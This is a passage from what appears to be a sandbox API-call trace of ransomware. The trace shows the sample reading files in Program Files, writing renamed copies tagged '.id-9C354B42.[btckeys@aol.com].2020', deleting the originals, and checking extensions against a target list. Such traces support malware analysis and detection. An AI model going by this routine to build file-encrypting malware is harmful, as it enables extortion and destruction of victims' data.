"c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.810] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=15067) returned 1 [0066.810] CloseHandle (hObject=0x1bc) returned 1 [0066.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0066.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.810] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.810] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.810] GetLastError () returned 0x0 [0066.810] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x3adb, lpOverlapped=0x0) returned 1 [0066.812] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0066.813] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0066.813] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe0, lpOverlapped=0x0) returned 1 [0066.813] SetEndOfFile (hFile=0x1b8) returned 1 [0066.813] CloseHandle (hObject=0x1b8) returned 1 [0066.818] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.818] SetEndOfFile (hFile=0x1bc) returned 1 [0066.818] CloseHandle (hObject=0x1bc) returned 1 [0066.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0066.819] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.819] lstrlenW (lpString=".doc") returned 4 [0066.819] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0066.819] lstrlenW (lpString=".docx") returned 5 [0066.819] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0066.819] lstrlenW (lpString=".pdf") returned 4 [0066.819] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0066.819] lstrlenW (lpString=".xls") returned 4 [0066.819] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0066.819] lstrlenW (lpString=".xlsx") returned 5 [0066.819] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0066.819] lstrlenW (lpString=".ppt") returned 4 [0066.819] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.819] lstrlenW (lpString=".zip") returned 4 [0066.819] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0066.820] lstrlenW (lpString=".rar") returned 4 [0066.820] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0066.820] lstrlenW (lpString=".bz2") returned 4 [0066.820] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0066.820] lstrlenW (lpString=".7z") returned 3 [0066.820] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.820] lstrlenW (lpString=".dbf") returned 4 [0066.820] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.820] lstrlenW (lpString=".1cd") returned 4 [0066.820] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.820] lstrlenW (lpString=".jpg") returned 4 [0066.820] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.820] lstrlenW (lpString=".doc") returned 4 [0066.820] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0066.820] lstrlenW (lpString=".docx") returned 5 [0066.820] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0066.820] lstrlenW (lpString=".pdf") returned 4 [0066.820] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0066.820] lstrlenW (lpString=".xls") returned 4 [0066.820] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0066.820] lstrlenW (lpString=".xlsx") returned 5 [0066.820] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0066.820] lstrlenW (lpString=".ppt") returned 4 [0066.820] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.820] lstrlenW (lpString=".zip") returned 4 [0066.821] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0066.821] lstrlenW (lpString=".rar") returned 4 [0066.821] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0066.821] lstrlenW (lpString=".bz2") returned 4 [0066.821] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0066.821] lstrlenW (lpString=".7z") returned 3 [0066.821] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0066.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.821] lstrlenW (lpString=".dbf") returned 4 [0066.821] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0066.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.821] lstrlenW (lpString=".1cd") returned 4 [0066.821] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0066.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0066.821] lstrlenW (lpString=".jpg") returned 4 [0066.821] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0066.821] lstrcmpiW (lpString1=".JPG", lpString2=".2020") returned 1 [0066.821] lstrlenW (lpString="MS.JPG") returned 6 [0066.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.822] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1061) returned 1 [0066.823] CloseHandle (hObject=0x1bc) returned 1 [0066.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0066.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.823] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.823] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.823] GetLastError () returned 0x0 [0066.823] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x425, lpOverlapped=0x0) returned 1 [0066.825] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x430, lpOverlapped=0x0) returned 1 [0066.826] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0066.826] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe0, lpOverlapped=0x0) returned 1 [0066.826] SetEndOfFile (hFile=0x1b8) returned 1 [0066.826] CloseHandle (hObject=0x1b8) returned 1 [0066.828] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.828] SetEndOfFile (hFile=0x1bc) returned 1 [0066.829] CloseHandle (hObject=0x1bc) returned 1 [0066.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0066.829] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0066.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.830] lstrlenW (lpString=".doc") returned 4 [0066.830] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0066.830] lstrlenW (lpString=".docx") returned 5 [0066.830] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0066.830] lstrlenW (lpString=".pdf") returned 4 [0066.830] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0066.830] lstrlenW (lpString=".xls") returned 4 [0066.830] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0066.830] lstrlenW (lpString=".xlsx") returned 5 [0066.830] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0066.830] lstrlenW (lpString=".ppt") returned 4 [0066.830] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.830] lstrlenW (lpString=".zip") returned 4 [0066.830] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0066.830] lstrlenW (lpString=".rar") returned 4 [0066.830] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0066.830] lstrlenW (lpString=".bz2") returned 4 [0066.830] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0066.830] lstrlenW (lpString=".7z") returned 3 [0066.830] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.830] lstrlenW (lpString=".dbf") returned 4 [0066.830] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.830] lstrlenW (lpString=".1cd") returned 4 [0066.830] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0066.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.831] lstrlenW (lpString=".jpg") returned 4 [0066.831] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0066.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.831] lstrlenW (lpString=".doc") returned 4 [0066.831] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0066.831] lstrlenW (lpString=".docx") returned 5 [0066.831] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0066.831] lstrlenW (lpString=".pdf") returned 4 [0066.831] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0066.831] lstrlenW (lpString=".xls") returned 4 [0066.831] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0066.831] lstrlenW (lpString=".xlsx") returned 5 [0066.831] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0066.831] lstrlenW (lpString=".ppt") returned 4 [0066.831] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0066.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.831] lstrlenW (lpString=".zip") returned 4 [0066.831] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0066.831] lstrlenW (lpString=".rar") returned 4 [0066.831] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0066.831] lstrlenW (lpString=".bz2") returned 4 [0066.831] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0066.831] lstrlenW (lpString=".7z") returned 3 [0066.831] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0066.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.832] lstrlenW (lpString=".dbf") returned 4 [0066.832] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0066.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.832] lstrlenW (lpString=".1cd") returned 4 [0066.832] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0066.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0066.832] lstrlenW (lpString=".jpg") returned 4 [0066.832] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0066.832] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0066.832] lstrlenW (lpString="MS.PNG") returned 6 [0066.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.833] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1682) returned 1 [0066.833] CloseHandle (hObject=0x1bc) returned 1 [0066.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0066.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.833] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.833] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.834] GetLastError () returned 0x0 [0066.834] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x692, lpOverlapped=0x0) returned 1 [0067.203] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0067.205] ReadFile (in: hFile=0x1bc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0067.206] WriteFile (in: hFile=0x1b8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe0, lpOverlapped=0x0) returned 1 [0067.206] SetEndOfFile (hFile=0x1b8) returned 1 [0067.206] CloseHandle (hObject=0x1b8) returned 1 [0067.207] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0067.207] SetEndOfFile (hFile=0x1bc) returned 1 [0067.312] CloseHandle (hObject=0x1bc) returned 1 [0067.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0067.313] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0067.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.313] lstrlenW (lpString=".doc") returned 4 [0067.313] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0067.313] lstrlenW (lpString=".docx") returned 5 [0067.313] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0067.313] lstrlenW (lpString=".pdf") returned 4 [0067.313] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0067.313] lstrlenW (lpString=".xls") returned 4 [0067.313] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0067.313] lstrlenW (lpString=".xlsx") returned 5 [0067.313] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0067.313] lstrlenW (lpString=".ppt") returned 4 [0067.313] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0067.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.313] lstrlenW (lpString=".zip") returned 4 [0067.313] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0067.313] lstrlenW (lpString=".rar") returned 4 [0067.313] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0067.313] lstrlenW (lpString=".bz2") returned 4 [0067.313] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0067.313] lstrlenW (lpString=".7z") returned 3 [0067.313] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0067.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.314] lstrlenW (lpString=".dbf") returned 4 [0067.314] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.314] lstrlenW (lpString=".1cd") returned 4 [0067.314] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.314] lstrlenW (lpString=".jpg") returned 4 [0067.314] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.314] lstrlenW (lpString=".doc") returned 4 [0067.314] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0067.314] lstrlenW (lpString=".docx") returned 5 [0067.314] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0067.314] lstrlenW (lpString=".pdf") returned 4 [0067.314] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0067.314] lstrlenW (lpString=".xls") returned 4 [0067.314] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0067.314] lstrlenW (lpString=".xlsx") returned 5 [0067.314] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0067.314] lstrlenW (lpString=".ppt") returned 4 [0067.314] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0067.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.314] lstrlenW (lpString=".zip") returned 4 [0067.314] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0067.314] lstrlenW (lpString=".rar") returned 4 [0067.314] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0067.314] lstrlenW (lpString=".bz2") returned 4 [0067.314] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0067.314] lstrlenW (lpString=".7z") returned 3 [0067.314] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0067.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.315] lstrlenW (lpString=".dbf") returned 4 [0067.315] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0067.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.315] lstrlenW (lpString=".1cd") returned 4 [0067.315] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0067.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0067.315] lstrlenW (lpString=".jpg") returned 4 [0067.315] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0067.315] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0067.315] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0067.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0067.316] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1600388) returned 1 [0067.316] CloseHandle (hObject=0x1bc) returned 1 [0067.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0067.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: 